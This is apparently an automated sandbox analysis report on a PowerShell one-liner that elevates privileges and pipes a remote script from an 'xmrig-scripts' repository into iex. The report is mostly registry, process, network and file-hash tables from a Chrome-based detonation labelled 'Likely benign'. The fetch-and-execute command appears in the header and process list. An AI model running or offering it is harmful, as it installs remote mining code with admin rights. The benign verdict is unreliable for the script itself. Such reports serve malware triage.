Analysis Overview
Threat Level: Likely benign
The file http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex was found to be: Likely benign.
Malicious Activity Summary
Drops file in Windows directory
Access Token Manipulation: Create Process with Token
Enumerates system info in registry
Modifies data under HKEY_USERS
Modifies registry class
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
Suspicious use of SendNotifyMessage
Suspicious use of SetWindowsHookEx
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-06-27 01:32
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-27 01:32
Reported
2024-06-27 01:34
Platform
win11-20240611-en
Max time kernel
96s
Max time network
97s
Command Line
Signatures
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\Panther\UnattendGC\setupact.log | C:\Windows\System32\oobe\UserOOBEBroker.exe | N/A |
| File opened for modification | C:\Windows\Panther\UnattendGC\setuperr.log | C:\Windows\System32\oobe\UserOOBEBroker.exe | N/A |
| File opened for modification | C:\Windows\Panther\UnattendGC\diagerr.xml | C:\Windows\System32\oobe\UserOOBEBroker.exe | N/A |
| File opened for modification | C:\Windows\Panther\UnattendGC\diagwrn.xml | C:\Windows\System32\oobe\UserOOBEBroker.exe | N/A |
Access Token Manipulation: Create Process with Token
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Modifies data under HKEY_USERS
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133639255661711873" | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432" | C:\Windows\system32\LogonUI.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" | C:\Windows\system32\LogonUI.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268" | C:\Windows\system32\LogonUI.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" | C:\Windows\system32\LogonUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "225" | C:\Windows\system32\LogonUI.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2394516847-3409208829-2230326962-1000_Classes\Local Settings\MuiCache | C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
| N/A | N/A | C:\Program Files\Google\Chrome\Application\chrome.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe | N/A |
| N/A | N/A | C:\Windows\system32\LogonUI.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://start-process PowerShell -verb runas irm https://raw.githubusercontent.com/Lachine1/xmrig-scripts/main/windows.ps1 | iex
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffb10b4ab58,0x7ffb10b4ab68,0x7ffb10b4ab78
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1616 --field-trial-handle=1816,i,14277939782780945191,10096990590941421459,131072 /prefetch:2
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1948 --field-trial-handle=1816,i,14277939782780945191,10096990590941421459,131072 /prefetch:8
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2200 --field-trial-handle=1816,i,14277939782780945191,10096990590941421459,131072 /prefetch:8
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2868 --field-trial-handle=1816,i,14277939782780945191,10096990590941421459,131072 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3016 --field-trial-handle=1816,i,14277939782780945191,10096990590941421459,131072 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=3996 --field-trial-handle=1816,i,14277939782780945191,10096990590941421459,131072 /prefetch:1
C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=3004 --field-trial-handle=1816,i,14277939782780945191,10096990590941421459,131072 /prefetch:1
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4360 --field-trial-handle=1816,i,14277939782780945191,10096990590941421459,131072 /prefetch:8
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4472 --field-trial-handle=1816,i,14277939782780945191,10096990590941421459,131072 /prefetch:8
C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=3380 --field-trial-handle=1816,i,14277939782780945191,10096990590941421459,131072 /prefetch:1
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
C:\Windows\System32\oobe\UserOOBEBroker.exe
C:\Windows\System32\oobe\UserOOBEBroker.exe -Embedding
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\FileCoAuth.exe -Embedding
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\MiniSearchHost.exe" -ServerName:MiniSearchUI.AppXj3y73at8fy1htwztzxs68sxx1v7cksp7.mca
C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa3a32855 /state1:0x41c64e6d
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | google.com | udp |
| US | 8.8.8.8:53 | google.com | udp |
| US | 8.8.8.8:53 | 202.212.58.216.in-addr.arpa | udp |
| N/A | 224.0.0.251:5353 | udp | |
| GB | 104.86.110.120:443 | tcp | |
| US | 52.168.117.168:443 | browser.pipe.aria.microsoft.com | tcp |
| US | 8.8.8.8:53 | 168.117.168.52.in-addr.arpa | udp |
| BE | 88.221.83.187:443 | r.bing.com | tcp |
| BE | 88.221.83.187:443 | r.bing.com | tcp |
| BE | 88.221.83.187:443 | r.bing.com | tcp |
| BE | 88.221.83.187:443 | r.bing.com | tcp |
| BE | 88.221.83.187:443 | r.bing.com | tcp |
| BE | 88.221.83.187:443 | r.bing.com | tcp |
| BE | 88.221.83.187:443 | r.bing.com | tcp |
| BE | 88.221.83.187:443 | r.bing.com | tcp |
| BE | 88.221.83.187:443 | r.bing.com | tcp |
| BE | 88.221.83.187:443 | r.bing.com | tcp |
| BE | 88.221.83.187:443 | r.bing.com | tcp |
| BE | 88.221.83.187:443 | r.bing.com | tcp |
| US | 8.8.8.8:53 | 17.160.190.20.in-addr.arpa | udp |
| BE | 104.68.66.114:443 | cxcs.microsoft.net | tcp |
| BE | 2.17.107.105:443 | www.bing.com | tcp |
| GB | 52.98.244.98:443 | 2953611f595fa2dcd1254a52867dceab.nrb.footprintdns.com | tcp |
| N/A | 20.189.173.15:443 | tcp |
Files
\??\pipe\crashpad_4672_MAEGZECLSRYJTAJQ
| MD5 | d41d8cd98f00b204e9800998ecf8427e |
| SHA1 | da39a3ee5e6b4b0d3255bfef95601890afd80709 |
| SHA256 | e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
| SHA512 | cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
| MD5 | d751713988987e9331980363e24189ce |
| SHA1 | 97d170e1550eee4afc0af065b78cda302a97674c |
| SHA256 | 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945 |
| SHA512 | b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
| MD5 | cd230d1f9b0df50f48a7b5a1b864510d |
| SHA1 | 55eb167908dc1326427848a6ea46c38229d0fe4f |
| SHA256 | 45dcf38511843372ce6adb3e3cacba263ec54ae84131c52a3b1b307d906bff63 |
| SHA512 | 88034354cd48ccbb007e2d52a051158edbeda51b88ca290d646d8d7ef62cf7a7359fc4d072d8a292a723c3cd35d5a078cc5a8db67697edbaaed4220a8d45dde1 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
| MD5 | 52b2ca2c5ae8c7b625cba2202a199a3d |
| SHA1 | bae0b6a3ecabf4863c0ad4618b35b4034feb35bb |
| SHA256 | 87f67c8d2675913cbc855a668eea5cece1e227d1a8489e55a9b4718750d88079 |
| SHA512 | 8e7f25720d9e7addf82a8c5b18f3fb0fefbc37585c10d5a2c8e3761c8c92c08ffcf72d11349b4e298d5488fc0adc8c0ffd22901014029d566578f34029712f79 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
| MD5 | 055a28df632950f6827df72f1c7acc34 |
| SHA1 | 0126520b32288c87f311f93bb9191f4218b9bada |
| SHA256 | b388841feed87a6f96a658ecf6e44ea1731955b520a707021fb016a5b4978842 |
| SHA512 | 7ee420b9d0d0ef62dc2521ee37ece5d67438ec5eadbc21b8c27696b96df99c948ab60f6d521cae81bcc3aaadf8a770cc3b385ec736ed37b824d52993a79256a3 |
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TempState\SearchHoverUnifiedTileModelCache.dat
| MD5 | ebdb4566a509bf737e7f3726b8e5d003 |
| SHA1 | bfabb2b07b9cad82a182d5564c4bf61a6a40d61b |
| SHA256 | 29704bfd9a2326469e78055f8e9b54d6e0affbc5982608478beeb1c91a4cb6f8 |
| SHA512 | 30f4cacb2db6a19f221f90e1547d4ecea075de7f73dffb0573cc3a2971a2bf92f4c2ea02bc0b622fcc6fb5ba47a8f21d656dc552f676476e0abf779e8a52b77d |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
| MD5 | 633e6ecc19daf1bd03ba9904403ef3ac |
| SHA1 | 37b572919ea3bdaf6d90d58a74cff73dea1212e0 |
| SHA256 | e60c7ec57695ad5b53c91f4bd3b151472ccf8a563ac1c265f9ab897efeebdebe |
| SHA512 | 06571f4e9a7a09bbbb6ad68a4bff86088881278b65effd6d570e47da938d54fc64340f1bdd00f30b974cb3b1bc66da457e3c29a980c0d50cc3108ada43c0c1b7 |
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
| MD5 | b8d24ddad17a393aaf575d0206d7619f |
| SHA1 | 563eb1432f426c37251c161d4add2cb243b5e790 |
| SHA256 | 2bb4e91ec8521e361bb2e6b21be71346a443add801cf1e55eba38b33c95a5441 |
| SHA512 | 524480a2dbd9e4442f80392aed60e8fd4708daeec2f4560160364b43bd4e512d670ff94e618de13e67e373fe6083bf2b228e97e4637e84b6a9a324d61883871a |